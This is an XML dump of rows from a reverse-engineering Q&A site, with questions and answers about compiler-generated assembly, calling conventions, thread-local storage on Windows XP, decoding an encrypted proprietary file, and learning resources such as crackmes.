  <row Id="14156" PostTypeId="2" ParentId="12333" CreationDate="2016-12-12T21:32:54.810" Score="1" Body="&lt;p&gt;The uninitialized variables are placed in the Common section before the linking process. If they are initialized in another file, they will go into the .data section, otherwise, if still uninitialized or initialized to 0, they will be put in the .bss.&lt;/p&gt;&#xA;" OwnerUserId="18413" LastActivityDate="2016-12-12T21:32:54.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14157" PostTypeId="2" ParentId="14155" CreationDate="2016-12-12T22:11:05.640" Score="4" Body="&lt;p&gt;Given that you didn't specify any optimization flag and used -m32, GCC performed no optimization on your code. The -m32 flag specifies the generation of a 32 bit code for a compiler configured to generate 64 bit code by default. In 32 bit mode, even with optimizations activated, GCC will generate a sub-optimal code given that the only way to do floating point computations in 32 bit mode on Intel machines is through &lt;a href=&quot;https://en.wikipedia.org/wiki/X87&quot; rel=&quot;nofollow noreferrer&quot;&gt;x87&lt;/a&gt; instructions. If you remove the -m32 flag and add -O3 (third level of optimization in GCC) you'll obtain the following assembly code (quite similar to the one generated by Microsoft's CL) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.LC1:&#xA;        .string &quot;%d %lf\n&quot;&#xA;        .section   .text.startup,&quot;ax&quot;,@progbits&#xA;        .p2align 4,,15&#xA;        .globl  main&#xA;        .type   main, @function&#xA;main:&#xA;.LFB0:&#xA;        .cfi_startproc&#xA;        subq    $8, %rsp&#xA;        .cfi_def_cfa_offset 16&#xA;        movl    $1, %esi&#xA;        movl    $.LC1, %edi&#xA;        movsd   .LC0(%rip), %xmm0&#xA;        movl    $1, %eax&#xA;        call    printf&#xA;        xorl    %eax, %eax&#xA;        addq    $8, %rsp&#xA;        .cfi_def_cfa_offset 8&#xA;        ret&#xA;        .cfi_endproc&#xA;.LFE0:&#xA;        .size   main, .-main&#xA;        .section   .rodata.cst8,&quot;aM&quot;,@progbits,8&#xA;        .align 8&#xA;.LC0:&#xA;        .long   858993459&#xA;        .long   1072902963 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note :&lt;/strong&gt; I added a &lt;strong&gt;printf&lt;/strong&gt; to the code because if the GCC optimization pass sees no use of the two variables, they will be removed (dead code elimination). I invite you to check out my post on the subject of optimized vs. non optimized code (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4011/assembly-code-gcc-optimized-vs-not&quot;&gt;Assembly Code - GCC optimized vs not&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also notice that CL used an &lt;em&gt;XMM&lt;/em&gt; register to store the 64 bit &lt;em&gt;double&lt;/em&gt; element stored in .LC0. &lt;em&gt;XMM&lt;/em&gt; registers are part of the SSE (Streaming SIMD Extensions) instruction set used mainly for floating point scalar &amp;amp; vector operations. Its implementation is much cleaner and faster than the x87 instruction set. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q1 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea     ecx, [esp+4]      //load the content of [esp + 4] into ecx&#xA;and     esp, -8           //align the stack pointer to 8 bytes (same as esp &amp;amp; ~7)&#xA;push    DWORD PTR [ecx-4] //push the content of [ecx - 4] on the stack &#xA;&#xA;[ecx - 4] = [[esp + 4] - 4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's suppose the stack is in this state : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     |       main      |&#xA;     |      return     |&#xA;     |      address @  |&#xA;     +-----------------+  &amp;lt;--- esp + 4 ---&amp;gt; ecx&#xA;     |    some value   |&#xA;     +-----------------+  &amp;lt;--- esp = ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first instruction puts the existing stack content (main return address @) in ecx. It is equivalent to this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ecx, esp&#xA;sub ecx, 4&#xA;mov ecx, [ecx]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that the lea instruction does in one take what these instructions do in three takes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second instruction aligns esp on an 8 byte boundary. What that means is that the lower 3 order bits of the address pointed by esp will be 0. Memory accesses are faster on Intel machines when aligned on a power of 2 boundary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third instruction changes the state of the stack to the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     |         @       |&#xA;     +-----------------+  &amp;lt;--- esp + 4 ---&amp;gt; ecx&#xA;     |    some value   |&#xA;     +-----------------+  &amp;lt;--- ebp&#xA;     |       @ - 4     |  &#xA;     +-----------------+  &amp;lt;--- esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Therefore, when the main function is done, it will return to @ - 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q2 :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's reason mathematically :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         We have : EBP = ESP0 &#xA;         push ecx implies ESP1 = ESP0 - 4 &#xA;         then : ESP2 = ESP1 - 20 &#xA;         therefore : ESP0 = ESP2 - 24&#xA;         mov DWORD PTR [ebp-12], 1 implies x = EBP - 12 = ESP0 - 12&#xA;         We know that ESP0 = ESP2 - 24&#xA;         Therefore x = ESP2 - 24 - 12 = ESP2 - 36&#xA;         fstp    QWORD PTR [ebp-24] implies y = EBP - 24 = ESP0 - 24&#xA;         Therefore y = ESP2 - 24 - 24 = ESP2 - 48&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, from this demonstration we extracted the location of the integer &lt;em&gt;x = ESP2 - 36&lt;/em&gt;, and the location of the double &lt;em&gt;y = ESP2 - 48&lt;/em&gt;.&#xA;To compute the distance between both variables, we subtract y from x and obtain the following : &lt;em&gt;x - y = ESP2 - 36 - ESP2 + 48 = 48 - 36 = 12&lt;/em&gt;. And that's the amount of bytes used by GCC for storing both of your 32 bit/4 byte and 64 bit/8 byte variables.  &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-12-13T06:58:19.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14158" PostTypeId="2" ParentId="3594" CreationDate="2016-12-13T09:28:11.047" Score="2" Body="&lt;p&gt;Meanwhile Hex Rays does have an x64 Decompiler (adding this answer for people reading now, at the time of Jason's answer the decompiler was not yet available), see the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/news.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;news&lt;/a&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2014/06/04    The x64 decompiler has arrived!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And from the &lt;a href=&quot;https://www.hex-rays.com/products/ida/order.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;order&lt;/a&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Decompiler software is available for 5 platforms: x86, x64, ARM32,&#xA;  ARM64, and PowerPC. While x64, ARM64, and PowerPC decompilers can run&#xA;  only on top of IDA Pro, the x86 and ARM32 decompilers can run on top&#xA;  of both IDA Starter or IDA Pro&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-12-13T09:28:11.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14159" PostTypeId="1" CreationDate="2016-12-13T15:43:19.377" Score="1" ViewCount="229" Body="&lt;p&gt;I have a black box device with three LED's that can be turned on and off, and an also black box application that has six buttons that turn each individual LED on and off. I don't know the source code for the application, not what input does the &quot;traffic light&quot; expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to find out that inputs are sent to the device so that I can control it on my own, preferably without disassembling the device in question :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to install Wireshark with USBPcap, and managed to capture what happens when buttons are pressed, but the logs are confusing and overwhelming. Can someone please recommend a direction of attack? &lt;/p&gt;&#xA;" OwnerUserId="18422" LastActivityDate="2016-12-16T00:08:05.727" Title="Control a black box &quot;Traffic Light&quot; type device using USB" Tags="|usb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14160" PostTypeId="1" AcceptedAnswerId="14163" CreationDate="2016-12-13T17:19:42.963" Score="1" ViewCount="1019" Body="&lt;p&gt;Is there any book or articles related to how C/C++ code is converted to assembly language, I mean common patterns for a specific compiler, etc?&lt;/p&gt;&#xA;" OwnerUserId="18423" LastActivityDate="2016-12-15T01:45:51.097" Title="C/C++ to Assembly language" Tags="|assembly|c++|c|compilers|gcc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14161" PostTypeId="1" AcceptedAnswerId="14167" CreationDate="2016-12-13T18:47:37.253" Score="1" ViewCount="396" Body="&lt;p&gt;We are using FlexLM/Flexera/LMTOOLS (not sure which is the correct) as a licens manager for our Autodesk products. I don't know what version the server is, but I have a fairly old client version, LMTOOLS v11.10.0.0. In this you can perform an enquiry and get a somewhat obscure text back as result which tells you what licenses are beeing used/checked out and by who.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to programmatically do the same server status enquiry, and capture the response and use some regexp to figure out who is using specific licenses from our license pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to use Wireshark and Fiddler to sniff the network traffic and figure out how the client is talking to the server, but with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question: is it even possible to make the same request in my own program (C#), and where can I learn more about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18425" LastActivityDate="2016-12-14T11:21:26.970" Title="Reverse engineer LMTools server status enquiry" Tags="|networking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14162" PostTypeId="2" ParentId="14027" CreationDate="2016-12-13T19:53:06.003" Score="2" Body="&lt;p&gt;I've been looking into this same issue and although I have not found exactly what is causing the problem.  I have tried to use ffmpeg to find a little info. When running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ffmpeg -v error -i IMG_0942.mp4 -f null - 2&amp;gt; IMG_0942.mp4.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it yields the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[h264 @ 0x8f4720] top block unavailable for requested intra4x4 mode -1 at 0 0 &#xA;[h264 @ 0x8f4720] error while decoding MB 0 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if you know how to read that or what it means (I don't), but it does help to demonstrate a way to find where the issue is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you make anymore progress on this issue.&lt;/p&gt;&#xA;" OwnerUserId="18266" LastActivityDate="2016-12-13T19:53:06.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14163" PostTypeId="2" ParentId="14160" CreationDate="2016-12-14T00:20:08.217" Score="2" Body="&lt;p&gt;I believe the best thing to do would be to learn about compilation in general and code generation in particular. The &lt;a href=&quot;https://en.wikipedia.org/wiki/Compilers:_Principles,_Techniques,_and_Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;dragon book&lt;/a&gt; would be a good start. Then you can check Engineering a Compiler by Cooper &amp;amp; co.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About common compiler patterns, this would require a bit of extensive reverse engineering which, I believe, few people in the research and industrial community are ready to do/share. But, there's a guy named Agner Fog who does an extensive amount of benchmarking and analyzes the relationship of a compiler/code pattern with the underlying hardware architecture in terms of optimization. You can find his work &lt;a href=&quot;http://agner.org/optimize/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;What would be of interest to you is the &lt;strong&gt;Optimizing software in C++: An optimization guide for Windows, Linux and Mac platforms&lt;/strong&gt;. It's simply a gold mine. Next, I would recommend : Optimizing subroutines in assembly language: An optimization guide for x86 platforms. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2016-12-14T00:20:08.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14165" PostTypeId="1" AcceptedAnswerId="14166" CreationDate="2016-12-14T08:47:26.827" Score="1" ViewCount="5524" Body="&lt;p&gt;I'm learning (and re-learning) C and assembly, and I came across a difference between what I've been taught and the actual result I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int test(int a, int b){&#xA;  return a + b;&#xA;}&#xA;&#xA;int main(){&#xA;  test(1,2);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's a really simple example in which I try to understand how values are passed around function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been taught that to pass variable to functions, the values must be pushed to the stack, in reverse order, to be accessible then with the base pointer, something like (simplified writing):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- main&#xA;...&#xA;mov   [esp+8] 0x02&#xA;mov   [esp] 0x01&#xA;call  0x...  &amp;lt;test&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then you can get back those values directly from the stack using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- test&#xA;...&#xA;mov   esi [esp+8]&#xA;add   esi [esp]&#xA;mov   eax esi&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm perfectly OK with this (although I may not have understood everything), but what is strange to me is the practical result I get when playing with it in gdb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -g stack.c&#xA;$ gdb a.out&#xA;&#xA;(gdb) disass main&#xA;Dump of assembler code for function main:&#xA;   0x0000000100000f70 &amp;lt;+0&amp;gt;:     push   rbp&#xA;   0x0000000100000f71 &amp;lt;+1&amp;gt;:     mov    rbp,rsp&#xA;   0x0000000100000f74 &amp;lt;+4&amp;gt;:     sub    rsp,0x10&#xA;-&amp;gt; 0x0000000100000f78 &amp;lt;+8&amp;gt;:     mov    edi,0x1&#xA;-&amp;gt; 0x0000000100000f7d &amp;lt;+13&amp;gt;:    mov    esi,0x2&#xA;   0x0000000100000f82 &amp;lt;+18&amp;gt;:    call   0x100000f50 &amp;lt;test&amp;gt;&#xA;   0x0000000100000f87 &amp;lt;+23&amp;gt;:    xor    esi,esi&#xA;   0x0000000100000f89 &amp;lt;+25&amp;gt;:    mov    DWORD PTR [rbp-0x4],eax&#xA;   0x0000000100000f8c &amp;lt;+28&amp;gt;:    mov    eax,esi&#xA;   0x0000000100000f8e &amp;lt;+30&amp;gt;:    add    rsp,0x10&#xA;   0x0000000100000f92 &amp;lt;+34&amp;gt;:    pop    rbp&#xA;   0x0000000100000f93 &amp;lt;+35&amp;gt;:    ret&#xA;End of assembler dump.&#xA;(gdb) disass test&#xA;Dump of assembler code for function test:&#xA;   0x0000000100000f50 &amp;lt;+0&amp;gt;:     push   rbp&#xA;   0x0000000100000f51 &amp;lt;+1&amp;gt;:     mov    rbp,rsp&#xA;-&amp;gt; 0x0000000100000f54 &amp;lt;+4&amp;gt;:     mov    DWORD PTR [rbp-0x4],edi&#xA;-&amp;gt; 0x0000000100000f57 &amp;lt;+7&amp;gt;:     mov    DWORD PTR [rbp-0x8],esi&#xA;   0x0000000100000f5a &amp;lt;+10&amp;gt;:    mov    esi,DWORD PTR [rbp-0x4]&#xA;   0x0000000100000f5d &amp;lt;+13&amp;gt;:    add    esi,DWORD PTR [rbp-0x8]&#xA;   0x0000000100000f60 &amp;lt;+16&amp;gt;:    mov    eax,esi&#xA;   0x0000000100000f62 &amp;lt;+18&amp;gt;:    pop    rbp&#xA;   0x0000000100000f63 &amp;lt;+19&amp;gt;:    ret&#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, instead of using the stack directly, the two values I'm passing to the function &lt;code&gt;test&lt;/code&gt; are stored in the registers &lt;code&gt;esi&lt;/code&gt; and &lt;code&gt;edi&lt;/code&gt; (corresponding lines marked with &lt;code&gt;-&amp;gt;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -v&#xA;Configured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-include-dir=/usr/include/c++/4.2.1&#xA;Apple LLVM version 7.0.2 (clang-700.1.81)&#xA;Target: x86_64-apple-darwin14.5.0&#xA;Thread model: posix&#xA;&#xA;&#xA;$ gdb --version&#xA;GNU gdb (GDB) 7.11.1&#xA;...&#xA;This GDB was configured as &quot;x86_64-apple-darwin14.5.0&quot;.&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My two questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is this behavior related to my setup?&lt;/li&gt;&#xA;&lt;li&gt;Is it documented anywhere?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18431" LastActivityDate="2016-12-14T09:05:40.913" Title="Passing argument through registers instead of the stack" Tags="|gdb|stack|gcc|arguments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14166" PostTypeId="2" ParentId="14165" CreationDate="2016-12-14T09:05:40.913" Score="3" Body="&lt;p&gt;This behavior is totally normal. The way functions are handled is usually described in what's called an &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_binary_interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;ABI&lt;/a&gt; (Application Binary Interface). It defines calling conventions which detail how a call is made in assembly code and how parameters are passed to a function using specific registers. I would recommend &lt;a href=&quot;http://agner.org/optimize/optimizing_cpp.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Agner Fog's C++ Optimization Manual&lt;/a&gt;. It contains extremely helpful information about Linux, Windows, and MacOS ABIs.   &lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2016-12-14T09:05:40.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14167" PostTypeId="2" ParentId="14161" CreationDate="2016-12-14T11:21:26.970" Score="2" Body="&lt;p&gt;This is possible using the APIs available in the FlexNet Publisher SDK. I suggest you to consult the SDK documentation and contact Flexera support in case of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In theory you could also observe the traffic between the client and the license server and deduce the packet format (this is known as &quot;&lt;a href=&quot;https://www.samba.org/ftp/tridge/misc/french_cafe.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;French Café technique&lt;/a&gt;&quot; and was used to develop the Samba project), but this can be a pretty complex and long task.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-14T11:21:26.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14168" PostTypeId="1" CreationDate="2016-12-14T13:40:45.380" Score="1" ViewCount="1111" Body="&lt;p&gt;I am using a 3rd party software that stores templates for ID cards in a database. I believe the templates are in xml format but are encrypted / encoded / compressed in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each encoded template has the same header at the beginning of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A9 CD AA F5 AE 36 04 2F 04 2A A5 2F CE EF B0 83 C4 97 F7 CA 26 F7 28 ED F8 C3 26 F4 57 D5 CB EA 36 10 F9 9B A6 CE F2 67 6B 47 B9 16 6E A7 41 14 A2 CD 99 88 51 17 67 03 C0 C4 66 18 D6 2A 1F D2 DD 5F 24 83 14 87 96 35 90 B6 70 F1 E6 51 BD 7A AB 41 86 E8 4D F4 E0 B7 D4 0A 22 DA 26 BD 54 D4 DE D1 23 36 BE D8 C8 D9 EC D8 5B 0E 0B 1D BE D8 A3 BD B7 E4 37 40 EB 86 76 85 E5 F7 15 87 EB 47&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way of finding out / does any one recognise this file format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file may be some kind of archive containing images and xml files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample files uploaded here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Empty Template: &lt;a href=&quot;https://ufile.io/8b59a&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual template with image (png format): &lt;a href=&quot;https://ufile.io/e2bd6&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18437" LastEditorUserId="18437" LastEditDate="2016-12-14T15:23:10.500" LastActivityDate="2016-12-14T18:29:05.427" Title="Decrypt / Decode / Decompress Proprietary File" Tags="|file-format|decryption|decompress|crackme|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14169" PostTypeId="2" ParentId="14168" CreationDate="2016-12-14T18:29:05.427" Score="4" Body="&lt;p&gt;I took a look at the empty template file that you provided. The file has a very high entropy which indicates that it's probably encrypted and not compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header in the file could be a lot of things, but it doesn't have any known magic bytes at the beginning and doesn't appear to belong to any commonly known file type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet with getting anywhere is to reverse engineer the software that reads these files. Try finding the routine that decrypts the file in memory and either try to identify which algorithm it's using or recreate the routine in a higher level language (if that's your goal). You'll also need to figure out what the decryption key is for the file (hell, it could even be the header they put in every file - but don't hold your breath) which you should be able to determine while reverse engineering the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that many commercial software packages have an EULA that explicitly forbids you from reverse engineering the software in any way which paves the way for legal recourse if you get caught and the software creators decide to pursue it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="17613" LastActivityDate="2016-12-14T18:29:05.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14170" PostTypeId="1" AcceptedAnswerId="14174" CreationDate="2016-12-14T18:40:16.573" Score="6" ViewCount="960" Body="&lt;p&gt;I am learning reverse engineering, and would like a way to try out methods I'm learning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In web security, the way to try out and learn methods is a thing called DVWA. It is an insecure web app made for web security people to exploit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something like this for reverse engineering?&lt;/p&gt;&#xA;" OwnerUserId="18442" LastActivityDate="2016-12-15T04:02:05.040" Title="Is there something like DVWA (Damn Vulnerable Web Application) for reverse engineering?" Tags="|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14171" PostTypeId="1" AcceptedAnswerId="14186" CreationDate="2016-12-14T21:43:07.973" Score="3" ViewCount="1288" Body="&lt;p&gt;Recently the Microsoft Visual Studio 2015 compiler finally complied with the C++ standards mandate to generate thread-safe code for function local statics. For the most part this works just fine but I ran into a situation on Windows XP where the following 3 instructions led to a blow up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     eax,dword ptr fs:[0000002Ch]&#xA;mov     ecx,dword ptr [MyModule!_tls_index (102eea44)]&#xA;mov     ecx,dword ptr [eax+ecx*4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously the compiler seems to implement thread-safety by first poking into the TLS slot of the current thread. &lt;code&gt;fs:2Ch&lt;/code&gt; is supposed to lead to the TLS array per documentation. However on Windows XP, &lt;code&gt;fs:2Ch&lt;/code&gt; doesn't seem to be set. This returned 0 for me and so did the next instruction (&lt;code&gt;_tls_index&lt;/code&gt; was also 0.) That led to the 3rd instruction blowing up as it was accessing invalid memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know why &lt;code&gt;fs:2Ch&lt;/code&gt; might not be set on Windows XP? Function local statics are used all over our code and I can't imagine no one else running into this.&lt;/p&gt;&#xA;" OwnerUserId="15780" LastActivityDate="2016-12-16T17:41:29.097" Title="Thread local storage access on Windows XP" Tags="|disassembly|windows|thread|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14173" PostTypeId="2" ParentId="14117" CreationDate="2016-12-14T22:54:07.123" Score="1" Body="&lt;p&gt;I ended up placing the required code in the executable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00C0B500   68 B6B4C000      PUSH ForgedAl.00C0B4B6                    ; ASCII &quot;lua-extension.dll&quot;&#xA;00C0B505   FF15 88F4C000    CALL DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.LoadLibrar&amp;gt; ; kernel32.LoadLibraryA&#xA;&#xA;00C0B50B   68 C9B4C000      PUSH ForgedAl.00C0B4C9                    ; ASCII &quot;initialize&quot;&#xA;00C0B510   50               PUSH EAX                                  ; push dll handle&#xA;00C0B511   FF15 8CF4C000    CALL DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.GetProcAdd&amp;gt; ; kernel32.GetProcAddress&#xA;&#xA;00C0B517   56               PUSH ESI                                  ; holds pointer to the struct I want to steal -&amp;gt; parameter of &quot;initialize&quot;&#xA;00C0B518   FFD0             CALL EAX                                  ; call &quot;initialize&quot;&#xA;00C0B51A   5E               POP ESI&#xA;&#xA;00C0B51B  ^E9 6648D0FF      JMP ForgedAl.0090FD86                     ; jump back and continue original program flow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18287" LastActivityDate="2016-12-14T22:54:07.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14174" PostTypeId="2" ParentId="14170" CreationDate="2016-12-14T23:11:33.970" Score="6" Body="&lt;p&gt;You can try your hand at analyzing programs which are used to introduce reverse engineering concepts in academia such the binaries available for download at RPI's &quot;Modern Binary Exploitation&quot; course page at &lt;a href=&quot;http://security.cs.rpi.edu/courses/binexp-spring2015/&quot; rel=&quot;noreferrer&quot;&gt;http://security.cs.rpi.edu/courses/binexp-spring2015/&lt;/a&gt; in the sections titled &quot;Tools and Basic Reverse Engineering&quot;, &quot;Extended Reverse Engineering&quot; and &quot;Reverse Engineering Lab&quot;. I believe the 11 or so crackmes included in the challenges.zip file are similar to the IOLI crackme files, for which there are many tutorials available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the binaries in the bombs.zip file is called &quot;cmubomb&quot; which is Carnegie Mellon University's binary bomb, &lt;strike&gt;also available at their student lab site &lt;a href=&quot;http://csapp.cs.cmu.edu/2e/labs.html&quot; rel=&quot;noreferrer&quot;&gt;http://csapp.cs.cmu.edu/2e/labs.html&lt;/a&gt;,&lt;/strike&gt; for which there are also many tutorials across the web. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NYU also has some reverse engineering &quot;challenge applications&quot; to analyze at &lt;a href=&quot;https://github.com/isislab/Hack-Night#workshop-materials-5&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/isislab/Hack-Night#workshop-materials-5&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The binaries from the aforementioned sources are Linux ELF 32-bit executables. Almost all are unstripped. If you would like to analyze Windows binaries, you can get Win32 versions of the IOLI crackmes from &lt;a href=&quot;https://github.com/radare/radare2book/tree/master/crackmes/ioli&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/radare/radare2book/tree/master/crackmes/ioli&lt;/a&gt;. The IOLI-crackme.tar.gz file available for download there contains 10 Windows PE32 executable files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: The CMU labs, including the binary bomb, now require an Instructor account to download.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2016-12-15T04:02:05.040" LastActivityDate="2016-12-15T04:02:05.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14175" PostTypeId="2" ParentId="14160" CreationDate="2016-12-15T01:45:51.097" Score="1" Body="&lt;p&gt;Yes, there is a very good book (as in, it covers tons of patterns) at &lt;a href=&quot;https://beginners.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beginners.re/&lt;/a&gt; - &lt;a href=&quot;https://beginners.re/RE4B-EN.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://beginners.re/RE4B-EN.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can spend 5-10 years studying general theory of compilation, which will go forward during that time anyway, but if you need a reasonably quick compendium of current patterns for reference / quick training, use that book.&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2016-12-15T01:45:51.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
